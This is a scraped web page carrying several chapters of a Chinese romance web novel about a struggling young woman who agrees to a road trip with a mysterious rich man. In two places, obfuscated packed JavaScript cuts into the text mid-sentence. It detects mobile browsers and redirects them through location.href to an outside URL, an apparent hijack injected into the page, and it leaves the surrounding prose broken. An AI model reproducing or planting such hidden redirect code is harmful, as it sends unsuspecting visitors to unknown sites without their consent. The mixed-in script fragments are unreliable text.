不知道沈青鹤从邬蔓的沉默里理解出什么,压回行李箱的拉杆,箱子被他放平。 邬蔓也是才注意到沈青鹤带了行李箱过来。 他之前放在车上,所以淋雨是因为去大巴车取行李箱了? 男人蹲下,手指格外灵巧,轻轻转动密码,咔咔几声,行李箱被打开。 “十万不够,这些呢?” 邬蔓赶紧把箱子甩上。 她左看看右看看走廊,悲伤难过都给忘到脑后了。 谁家好人出门带一行李箱现金的?! 不对…… 沈青鹤说什么??? 邬蔓出于本能伸手去摸沈青鹤的额头。 柔软手掌覆在男人硬朗的额头上,俩人皆是微微一震。 湿漉漉的碎发不停朝下滴着水,黑发被雨水浸成丝绸线,贴在邬蔓白皙的手背,水只停片刻,立马漫过她的手,贴着女人的肌肤淅淅沥沥往下滴,落在沈青鹤下蹲的腿间。 砸出一声声轻微的扑哧声响。 额头凉,雨水也凉。 邬蔓的手掌却似烫到般迅速缩回。 “没、没发烧。” 她解释。 沈青鹤掠过女人耳垂处可疑的薄红,视线继续向上,落在她微微红肿的眼眶,浅眸里闪过一抹沉色。 “刚刚我都听到了。” 男人的嗓音似被砂纸磨过,尾音的颗粒感磨着邬蔓紧绷的神经,让她有些承受不住这种微妙的折磨。 邬蔓不自觉被他的气势逼退一步,半个身子软倚着门框。 沈青鹤却在这时难得强势起来,大手推着箱子膝行一步,大腿挤在没弹性的布料里,肌肉的轮廓清晰可见。 装满人民币的箱子轻轻撞在邬蔓脚尖。 他不允许她逃避。 意识到这一点,邬蔓的睫毛抖了抖。 窗外卷曲的小草在大雨下脆弱的挣扎。 邬蔓这时又让沈青鹤觉得像猫。 像可怜兮兮的流浪猫。 流浪猫这种生物,基本分为两种极端。 一种会磨爪子哈气,随时随地做好攻击人类的准备,另一种则是浑身炸毛,虚张声势地保持警惕,情况不对就要跑。 不过底层逻辑都是因为害怕。 沈青鹤看向邬蔓的手,那双手干净白皙,在女生里算是比较有骨感的手型,现在那只手正攥着睡袍的衣料,手汗浸透布料,被抓出明显的褶痕。 过分安静的夜里,似乎有谁轻叹了口气。 “明天是个好天气。” “啊?” 邬蔓又一次被沈青鹤突然转走的话题打断思绪,脑子仿佛安上生锈的齿轮,慢吞吞不灵活的转动,以至于她完全跟不上沈青鹤的话题。 沈青鹤笑了声,被邬蔓的反应可爱到。 “我的意思是,不开心就明天出发吧。” 男人的音线沉稳冷静,莫名显得很可靠,他站起来,豪不关心躺在地上的一行李箱现金,“买你喜欢的车,我和你一起走,去你想去的地方。” 心跳有那么一瞬间错了节拍。 沈青鹤到底知不知道顶着他的脸说出这句话杀伤力有多大? 邬蔓怀疑民宿有哪里漏电,触电般的感觉一直从脚底板窜上她的天灵盖,那股细小电流炸开她头皮,余电未消,令她指尖都跟着抖。 脑袋里像被人塞了一团黏糊糊的浆糊,乱糟糟一片。 乱七八糟的思绪里,邬蔓抽出条神经微微走神。 这果然是杀猪盘吧…… 她瞥了眼对面男鬼般美丽的男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你说人家怕你期末考超他。难道曲凯是怕稳不住自己倒数第三的排名吗?” “……” “还有大学,摄影社社长找你做模特,又是请吃饭又是送你衣服给你全寝室买奶茶,整整一个月,最后你一直把人家当姐妹。” 邬蔓举手插话,“他和他舍友形影不离,大家都这么说!” 林知夏看白痴一样看自家白菜,“那是大家在开玩笑打趣,你不会听不出来吧?” 邬蔓:咽了咽口水。 林知夏还要继续往下数,邬蔓啊啊啊啊叫着打断,破罐子破摔地说,“反正沈青鹤不一样,他和我们不是一个世界的人。” 邬蔓垂了垂眼皮,“你见到他就知道我说的意思了。” 林知夏半天没说话。 闺蜜俩在一起通常一个赛一个话痨,邬蔓疑惑抬眼,对上林知夏贼兮兮的笑。 顿感不妙。 “某人不太对劲啊,这语气听起来怎么酸溜溜的~” “嗷——!” 是手机没拿稳砸在鼻梁上,痛的邬蔓叫出声。 手机弹落枕头边,林知夏的笑声传来,邬蔓揉揉鼻梁咬着牙,伸手把自己这边的视频关了。 林知夏看着通话界面上黑灰背景中间的小小头像,“哦呦呦,反应这么大啊。” “喜欢就上啊,反正帅哥咱们不吃亏。” 邬蔓一字一字抗议,“不、喜、欢!” “真不喜欢?” “……” 邬蔓想到刚刚沈青鹤的举动,后知后觉地有点小激动。 雨夜,帅哥,金钱。 组合在一起的冲击力相当惊人。 邬蔓骑着被子,在小小的床上来回滚动。 “一点吧,只有一点点。” 邬蔓有点牙痒,嗷呜一口咬住被子又松开,“指甲盖那么小。” 这句话说完,她像做了什么亏心事突然把头蒙进被子里。 呼吸急促,被子裹在耳边,心跳声在小空间存在感极强,十分用力地震着。 邬蔓又把头拔萝卜一样地拔出来,发丝湿湿贴在她桃红色的脸颊。 林知夏挑眉,“不嫌弃人家成天蹭你热点了?” 邬蔓看着角落里那个装满现金的24寸小行李箱——她还没有表态,被沈青鹤笑眯眯“温和”不容拒绝地塞进来的。 大方开口,“我原谅他了,大不了多交点话费。” “那你什么时候出发?” 邬蔓抱着被子,“我还没答应他呢。” 林知夏了然,哦了一声问,“那你打算什么时候答应他?” !!! “喂!林小夏,我就不能拒绝吗!” 林知夏叹气,举起手里的热熔胶枪,她手边堆满卡纸,今晚计划熬个通宵把幼儿园那些祖宗们的卡纸画做了。 “邬小蔓,我劝你别同意。” “闺蜜就要同甘共苦啊魂淡!怎么你开始美美和帅哥同游了!” “能不能给我也天降一个超级无敌大帅逼,来场入室抢劫般的爱情啊!信女愿以十斤肥肉来换!” “ps:要有钱!不要宝爸!” 邬蔓“扑哧”乐了。 “夏夏,你一点都不诚心,既要又要,佛祖才不会答应你。” 13. 读心术 翌日一早,邬蔓推开窗的那一瞬间,屋里湿气撞开窗子,干净的风裹着草叶的甜味直直灌进来,吹了邬蔓满脸。 天空很蓝,阳光洒在不远处潮湿的木屋顶上,云层在高空扯出一条条橘络般的白细丝,昨夜雨大,窗外行道树上的叶片还挂着晶莹水珠,簌簌地落在地上砸出一朵朵小花。 空气干爽清新,这场雨冲刷掉满世界的灰尘,所有景象都变得异常高清,近处碧色的叶片被金色阳光照透,叶脉清晰可见。 果然是个好天气。 连晨起时身上的燥热都被温暖的风吹走,让人心旷神怡。 长黑电线上芝麻圆子般的雀鸟蹦蹦跳跳唱歌,邬蔓看着它们肥啾啾的小肚子,也跟着哼起不知名的小调收拾自己。 最后要离开房间时,视线掠过白行李箱时顿住,推着拉杆,脚下有点软绵绵踩在云端的错觉,不太真实地推着行李箱上了大巴车。 这种不真实感在邬蔓看到沈青鹤另一个行李箱时落了地。 她有种直觉,沈青鹤的第二个行李箱,该不会也是一箱子人民币吧? “不是。” “!!!” 男人的声音突然响在邬蔓耳畔。 热气烘着她耳朵,邬蔓感受到自己耳尖一痒,酥酥麻麻的电流撩在她后颈处的一小块肌肤,反应超大转身的同时,那里也敏感地炸起细小疙瘩。 沈青鹤后退半步,好看的眼角忽地往上勾,“抱歉,吓到你了。” 邬蔓拍着自己心口顺气,“没事……” 她没想到沈青鹤会贴的那么近。 还有,她刚刚问出声了吗? 沈青鹤怎么知道她在想什么? 沈青鹤盯着邬蔓,轻轻笑了。 “因为你的表情很明显。” 邬蔓扭头,拒绝被人“读心”。 沈青鹤掏出来一条彩虹链子递给她,“昨晚忘记给你了,你落在露台桌子上。” 是邬蔓手机壳上的挂链,昨晚邬蔓看星星时捏在手里玩,无意识解开链子忘在了那里。 所以,沈青鹤是送挂链无意听见自己打电话吵架才…… 邬蔓捡起挂链,男人肤色再白也不敌女人,细手指在麦色的皮肤下反衬出牛奶般的嫩白,戳在手里的触感仿佛被小鱼轻轻啄了一口。 女人指尖在沈青鹤宽大的掌心一触即分。 “谢谢啊。” 邬蔓低着头小声道谢。 回顾自己昨晚在电话里吵架,突然有点尴尬。 邬蔓不太自在的坐回去,在大巴车里此地无银三百两地戴上帽子,宽大帽沿盖住女孩脸上樱桃色的红晕,只留尖尖的下巴露在外面。 沈青鹤收回手,垂在裤线一侧。 手掌虚握,掌心里最软的肉痒痒的,他的指节莫名弹了两下。 男人垂眸,看了眼手掌。 掩饰性举起手机打字,没人注意到他的异常。 【考虑的怎么样?】 邬蔓手机在下一秒响起,她刚解完锁,就感受到沈青鹤迈着步子,步调不紧不慢地落在她身后,稳稳坐了下去,整个人存在感特别强。 连呼吸都尽数扑在她后颈。 坐立难安。 邬蔓:【我还没想好。】 沈青鹤:【钱不够?】 【……不是】 【那为什么不同意?】 …… 邬蔓突然有点不知道该怎么回答。 可能也不单纯是因为沈青鹤的问题。 有没有人来告诉她,这种疑似偷情的感觉是怎么回事? 邬蔓拧开水瓶咕噜咕噜灌下去。 她们俩到底为什么要在车上悄咪咪的用微信聊天…… 还是用她的流量啊喂! 突然觉醒的吐槽属性让邬蔓从这种微妙的刺激感里抽离出来些理智,什么豪门什么神秘身份,一想想和她大侄子一样蹭手机蹭流量,逼格就蹭蹭蹭往下掉。 邬蔓侄子是个小胖子,还在读小学,家里为了能及时联系他给买了儿童电话手表,比applewatch贵还没它功能多,家长只给开了接打电话功能。 鸡肋到连俄罗斯方块都玩不了,之前过年回家时,大侄子最爱粘着邬蔓蹭手机玩,如果邬蔓不借他,只要不学习,蹭几眼视频也行。 就……特别不挑。 邬蔓乱七八糟的走神,想着自己大侄子又想想沈青鹤,最后脑子里的画面突然变成沈青鹤戴着那款儿童手表。 她没忍住,扑哧一声笑了出来。 补救般捂住嘴巴,邬蔓终于敲字回,【感觉有点奇怪……我占了你很大便宜的样子……】 带薪旅游,目的地任她选。 这不就是拿钱实现她的梦想吗?又不是什么感动中国节目组。邬蔓这人虽然穷,但你要她真占别人便宜,她就像浑身长满跳蚤一样难受。 真的很难过自己心里的这一关。 林知夏和她经常自嘲,要么说穷人发不了财呢,豁不出脸皮心里又该死的有些自我坚持。 【你认为自己占了我便宜?】 邬蔓心里默默补充,不是认为,是就是。 【嗯,要花好多钱呢。】 那边似乎沉默了几秒钟。 邬蔓竖起耳朵,似乎想听听沈青鹤的反应。 没准觉得她品性高洁,特善良呢。 【花的不多。】 有些人的魅力就在于,短短四个字,竟让人有种想冲上去和他拼了的冲动。 邬蔓心里噗地冒出来个缩小版的她,小人额角冒出来个大大的红色生气符号,正低头四处找刀。 邬蔓忙着安抚破防小人的功夫,对面又发来消息。 【我不认为你占我便宜,这个世界上不止金钱有价值。】 邬蔓撇嘴,有时候她和沈青鹤确实不像一个世界里的人,瞧瞧这话,她就没法轻飘飘说出来。 【或许吧,但我能有什么价值呢?】 邬蔓昨晚真的想过,她也真的想不出来。 专科的学历,草率的工作经验,大众的普遍衡量标准里,邬蔓甚至称不上普通平凡,在卷生卷死的大环境下,她像被海浪卷上岸放弃掉,干涸的小鱼。 海洋的世界里强弱更加残酷,强大如鲸鱼,连死亡都有人称赞歌颂,被人赋予美丽的名字——鲸落。 可弱小者到头来也只得一个干巴巴死鱼概括所有。 邬蔓就是那个弱小的死鱼。 沈青鹤再度陷入沉默。 邬蔓毫不意外,她耸耸肩满不在乎,打算随便自嘲开个玩笑把话题岔开。 连她都想不出自己的价值,更没必要为难… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538171|203490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 【邬蔓,不要和别人一起欺负自己。】 这句话突然从聊天框里弹出来,然后直接了当戳在邬蔓眼里。 眼睛像硌了沙子般疼。 尤其一分钟后,对面不太熟练地发来一个表情包。 【抱抱.jpg】 邬蔓认出来那是自己以前收藏的,在很底下的位置。 她眼眶又有些发酸了。 邬蔓吸吸鼻子,努力睁大眼睛。 最近不知道怎么了,好像一辈子的感性都一起爆发,总是想哭。 邬蔓翻着自己手环,看是不是要到生理期了。 实际上只是给自己找点事干。 一走心聊起天,她就不知道回什么。 好像怎么说都显得特矫情。 手指在手环上滑来滑去,指尖像得了帕金森,怎么都点不到健康app上。 身后的人似乎靠近了点。 体温升高,邬蔓立刻小学生般坐直身体。 【你能给我别人给不了的情绪价值,在我看来比金钱更重要。】 沈青鹤一字一句,【邬蔓,不要看轻自己,你远比你所想的优秀。】 沈青鹤想到他第一次见到邬蔓。 现在回想起来,她和她的名字真的很配。 邬蔓,藤蔓。 蔓蔓。 两个字反复碾在男人的薄唇之间,无声呢喃。 潮湿的名字,却又终生沐浴在阳光里。 懒洋洋地进行光合作用,像岩石下坚韧顽强的藤蔓,等时间渗透枝叶,吐出美丽的小花。 邬蔓心口倏忽被烫了一下。 这些过分直白热烈的文字,叫人难以抵抗。 没人可以拒绝发自内心的称赞,更何况邬蔓从沈青鹤的几句话里,莫名就是能感受到诚意满满的尊重。 不是搪塞不是恭维,他那样的人,大概不会说出违心话。 【所以蔓蔓,别拒绝我。】 心理学上称呼别人的小名是亲密关系的作弊神器,突然叫对方的小名,会迅速拉近和对方的关系。 邬蔓不知道沈青鹤在作弊。 她只感觉自己好像被人踩住了尾巴,温柔又强硬地从头被撸到尾巴尖,过分的舒服让人反而展露出小小攻击倾向,就像手掌里呼噜呼噜拱来拱去的猫咪,突然歪头轻轻地咬住你的手。 邬蔓脑子里闪过闺蜜的那句——“他想泡你。” 她可以确定,沈青鹤不是这样的想法。 泡这个字,用在沈青鹤身上都是一种亵渎。 【我答应你了。】 邬蔓郑重敲下这几个字,很神奇的是心中没有忐忑。 面对未知,和身份依旧成谜的沈青鹤,起码此时此刻,她的心里是如此的踏实。 沈青鹤认真回复:【很荣幸能和你同行,蔓蔓。】 邬蔓深呼吸。 再次深呼吸。 虽然但是, 还是想说,能不能别突然这样称呼她啊! 邬蔓晕乎乎举着手机,现在她手里的这块比沈青鹤的更像搬砖。 大脑被“蔓蔓”二字叫的晕头转向。 这样, 真, 的, 很, 暧, 昧, ! 14. 星星灯 最后邬蔓还是收了那一万元。 以她原本的性格是绝对不会收下这笔“乖孩子”才能拥有的资助。 在接受沈青鹤提议的同时,某些道德束缚换个角度彻底失去作用,邬蔓像武侠小说里被打通任督八脉的主角,突然脱胎换骨和之前判若两人。 既然她妈妈发了,为什么不收? 邬蔓选择收下钱但不回老家,用这一万块委托律师全权代理把拖欠的工资要回来。 她要放过自己,不让这件事再影响心情。 没过多久,家里果然打来电话。 不过这通电话打的不是时候,邬蔓正站在家门口和沈青鹤大眼瞪小眼。 沈青鹤无奈笑笑,“我暂时没地方住。” 他往后退一步,很温和商量的语气,“可不可以借住客厅?” 说实话,刚开始邬蔓是有点不自在。 能同意他借住,也是因为邬蔓想到出去自驾游俩人也是要在外露宿,不差提前的这几天了。 但由于沈青鹤气质实在太绅士斯文,邬蔓每天推开卧室门,那人就乖乖端坐在沙发上看书,没有很强的存在感,并不侵占邬蔓的私人空间。而且他像童话故事里的田螺姑娘,客厅和卫生间不知道什么时候被收拾的干干净净。 就好像……也挺不错的。 邬蔓偶尔起夜,沈青鹤通常睡得很熟,长手长脚挤在摊开的单人沙发上,盖着薄薄的夏凉被,弯成一只蜷缩的白猫。 完全没有危险和攻击性。 猫科动物爱干净,每天梳理自己的毛发清理小窝。 沈青鹤真的是个很称职的室友,有他在家里自动变得清爽整洁,沈青鹤从来都不催促邬蔓的进度,能出力就出力,出不了力的就出钱。 在家里休息的好,一切事都变得异常顺利。 甚至邬蔓在楼下随便买的刮刮乐,还中了三十快钱。 她又添了点钱,买了两份香芋蜜薯的糖水,带回家请“田螺小姐”吃。 晚上沈青鹤做了酱黄花鱼,邬蔓一口气吃了三大碗米饭,最后撑得肚子痛,被沈青鹤拽起来去隔壁公园散步消食。 所有事情都在有条不紊地往下进行,已经做好远行的决定,其它都显得不那么重要。 像机械手表里咬合紧密的齿轮,时间在准备的天数里跑的飞快。 邬蔓回到津川的第二天,就去买了那辆二手皮卡车。 她最终只接受沈青鹤一开始提出的十万元,没有去动多余的钱,和自己手里的钱并在一起,打算来一场轰轰烈烈的穷游。 邬蔓在网上下单了帐篷和一些便于携带的生活用品,她想,工作或许还是影响了她,起码她现在不太愿意去热门景点人挤人。 邬蔓去提车的时候,没有气球和彩带,一个普普通通的小二手车,根本没人重视,但邬蔓还是很开心。 她的驾照是大二那年考下来的,之前回家时开过家里的车帮忙送货,所以并不手生。 在店里转了几圈,邬蔓开车回家。 在路边把车停下来,邬蔓从包里掏出个装饰。 是幸运星样式的车顶装饰,在邬蔓手里泛着暖黄色的光。 邬蔓把星星装上车顶棚,发光的星星倒映在墨色车窗,她伸手,以一种爱抚宠物脑壳的力道摸了摸车顶。 这是她给小车的见面礼。 礼物不贵重,所以不好意思在人前拿出来。 邬蔓很喜欢她的小车。 在等待快递,打包行李的这几天里,她把车子里里外外都细心擦了一遍。 桃子味的清洁泡沫被光照的五颜六色,沈青鹤在一旁递她刷子和干净的抹布,阳光晒过的衣角有很温暖的味道。 像把脸埋在暴晒过的棉絮里嗅暖烘烘的余温。 单纯的体力劳动似乎可以抚平人受伤的内心。 邬蔓晒着太阳擦洗车子,心里的焦虑被大太阳暴晒成灰尘,又被她一抹布轻易擦掉。 快递陆陆续续的到了,邬蔓干脆没拿上楼,她快递买的多,驿站专门给装到一起,快递取回来邬蔓就在楼下先拆开折叠小凳子,坐上面一边拆一边往车里装。 其中比较大件的就是折叠床垫和高盖。 高盖固定在皮卡车后斗上面,空间变大不少,邬蔓又把折叠床垫放了进去,收纳功能超强的后斗就变成了个简易的小床。 其实车后座邬蔓也想拆了,但查了查好像属于违法改装,于是歇了这个心思,没动后车座,但还是把那里塞得密不透风。 沈青鹤的行李就那两个箱子,为了节省空间那些现金邬蔓基本都存到银行卡里,留了一部分应急用,她像即将过冬的仓鼠,时不时就摸出来些必要的东西,在车里找空塞进去。 大到露营帐篷防潮垫枕头手电筒气罐锅具,小到手电筒医药包驱虫喷雾等等,只要是邬蔓能想到的,下一秒就出现在购物车里。 于是拖拖拉拉地准备了十余天,还没有出发,像在等待一个契机。 某天晚上,邬蔓突然翻来覆去的睡不着觉。 她长发乱糟糟用香蕉夹固定在头顶,穿着印花睡衣,睡觉前才吃了烧烤喝了冰西瓜汁,怕再被撑到,还去公园溜达观战半天大爷们下象棋。 悄悄打开卧室门扫了眼。 男人还是那个弯成月牙的姿势,安安静静地睡觉。 邬蔓坐回床上,挠了挠头。 举着手机打了两局王者荣耀,屏幕里露娜穿着紫霞仙子的皮肤在野区杀了个七进七出。 同局拿瑶的妹子和她配合默契,这局结束火速发来好友申请。 邬蔓没同意也没拒绝,感觉没什么意思,坐在床上发呆。 高中时大家都玩王者荣耀,邬蔓也稀里糊涂跟着玩,一眼相中紫霞仙子苦练技术,露娜这英雄容错率低到离谱,强度和收益不太成正比,当时同学都劝她练练别的,但邬蔓没听,愣是打了一千多场练成绝活。 屏幕里紫霞仙子俏皮忧伤的语音刚好响起。 我在你心里,留下了一样东西。 她好像从小就是个挺固执的人。 只是长大后逐渐被社会磨平棱角,逐渐忘了那股冲劲。 / 被邬蔓推醒时,沈青鹤眼底带着未醒的惺忪,视线聚焦前看到那双圆润漆黑、巨峰葡萄般水汪汪的大眼睛一眨不眨地盯着他。 邬蔓趴在沙发边,墨色瞳孔在夜色里隐隐发亮。 “沈青鹤 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邬蔓拧着仪表台上的葡萄香薰,把气孔旋转到最大提神,试探问,“要不我开车?你要是困就在副驾睡会。” 男人莫名分出眼神淡淡瞥了她一眼。 “没事,我不困。” 邬蔓被他这一眼看得丈二和尚摸不着头脑,心里有点毛毛的。 “怎么了?” 红灯,车停下。 沈青鹤意味深长看着身侧的人。 她穿戴整齐,眼角眉梢写满精力充沛兴致勃勃这八个大字。 前提是忽略掉邬蔓额头上罩着的眼罩。 深绿青蛙眼罩瞪着一双丑眼睛,和邬蔓的眼睛一起盯着沈青鹤。 这画面诡异到好笑。 沈青鹤唇角勾起一个很小的弧度。 “你要不要照照镜子?” 照镜子? 邬蔓头伸出去蹭了下倒车镜。 头跟铁板上的金针菇似的,圆圆的脑袋迅速萎缩回来。 “……”草! 她什么时候戴的眼罩啊? 邬蔓一把扯下来眼罩扔后面,她好像知道沈青鹤为什么坚持先由他开车了,她自己看着镜子里的脸,都觉得这人似乎傻傻的不太靠谱。 “你听我狡辩,不是,你听我解释……” 邬蔓发誓,“我现在真的特别冷静,真的!” 绿灯,车子启动。 沈青鹤笑眯眯道,“嗯,我信。” 邬蔓:“……” 你他喵这语气分明是不信! 邬蔓调出来电子驾照,趁着没车的间隙给沈青鹤看,“我驾龄四年!” 是很骄傲的语气,莫名能让人联想到鸽子常年傲挺着的雪白胸脯。 沈青鹤很给邬蔓面子。 他特别认真看了一眼,用一种哄小孩的语气,夸张地敷衍邬蔓。 “好厉害喔。” 这语气神似林知夏糊弄小屁孩时说的,宝贝儿你最棒啦~ 邬蔓:“……” 是错觉吧,手突然有点痒。